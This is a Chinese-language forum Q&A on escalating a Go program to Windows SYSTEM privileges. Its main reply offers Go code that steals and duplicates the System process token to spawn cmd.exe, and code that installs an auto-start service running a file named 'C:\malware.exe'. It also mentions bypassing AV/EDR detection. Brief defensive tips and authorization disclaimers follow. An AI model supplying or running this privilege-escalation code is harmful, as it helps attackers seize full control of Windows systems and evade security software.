Golang提权到System权限的方法
在Golang中如何实现提权到System权限?有没有具体的代码示例或可靠的库可以实现这一功能?需要注意哪些安全风险和权限限制?
2 回复
在Windows系统中,可通过创建系统服务或利用WinAPI提权。例如,使用golang.org/x/sys/windows包调用AdjustTokenPrivileges等函数。需注意,提权操作需管理员权限启动,且可能触发安全软件拦截。建议仅在合法授权环境下使用。
更多关于Golang提权到System权限的方法的实战系列教程也可以访问 https://www.itying.com/category-94-b0.html
在Golang中实现提权到System权限通常涉及利用Windows系统中的漏洞或合法机制来提升权限。以下是几种常见方法及示例代码:
1. 利用Token窃取
通过复制System进程的Token来提升权限:
package main
import (
"syscall"
"unsafe"
)
var (
modadvapi32 = syscall.NewLazyDLL("advapi32.dll")
procOpenProcessToken = modadvapi32.NewProc("OpenProcessToken")
procDuplicateTokenEx = modadvapi32.NewProc("DuplicateTokenEx")
procCreateProcessWithTokenW = modadvapi32.NewProc("CreateProcessWithTokenW")
)
func main() {
// 获取System进程句柄(PID 4)
procHandle, _ := syscall.OpenProcess(0x0400|0x0800, false, 4)
var tokenHandle syscall.Token
procOpenProcessToken.Call(uintptr(procHandle), uintptr(0x0002), uintptr(unsafe.Pointer(&tokenHandle)))
var newToken syscall.Token
procDuplicateTokenEx.Call(
uintptr(tokenHandle),
uintptr(0x02000000),
uintptr(0),
uintptr(2), // SecurityImpersonation
uintptr(1), // TokenPrimary
uintptr(unsafe.Pointer(&newToken)),
)
// 使用新Token创建进程
var si syscall.StartupInfo
var pi syscall.ProcessInformation
procCreateProcessWithTokenW.Call(
uintptr(newToken),
0,
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("cmd.exe"))),
0,
0,
0,
uintptr(unsafe.Pointer(&si)),
uintptr(unsafe.Pointer(&pi)),
)
}
2. 服务权限滥用
通过创建系统服务实现提权:
package main
import (
"golang.org/x/sys/windows"
"syscall"
)
func main() {
scManager, _ := windows.OpenSCManager(nil, nil, windows.SC_MANAGER_CREATE_SERVICE)
serviceName, _ := syscall.UTF16PtrFromString("MySystemService")
serviceExec, _ := syscall.UTF16PtrFromString("C:\\malware.exe")
service, _ := windows.CreateService(
scManager,
serviceName,
serviceName,
windows.SERVICE_ALL_ACCESS,
windows.SERVICE_WIN32_OWN_PROCESS,
windows.SERVICE_AUTO_START,
windows.SERVICE_ERROR_NORMAL,
serviceExec,
nil, nil, nil, nil, nil,
)
windows.StartService(service, 0, nil)
windows.DeleteService(service)
windows.CloseServiceHandle(service)
windows.CloseServiceHandle(scManager)
}
重要注意事项:
- 这些方法需要管理员权限作为前提
- 实际使用时需绕过AV/EDR检测
- 在渗透测试中需获得合法授权
- 部分方法需要禁用UAC或特殊配置
防御建议:
- 实施最小权限原则
- 定期更新系统补丁
- 使用应用程序白名单
- 监控系统服务创建
请确保仅在合法授权的环境中使用这些技术。

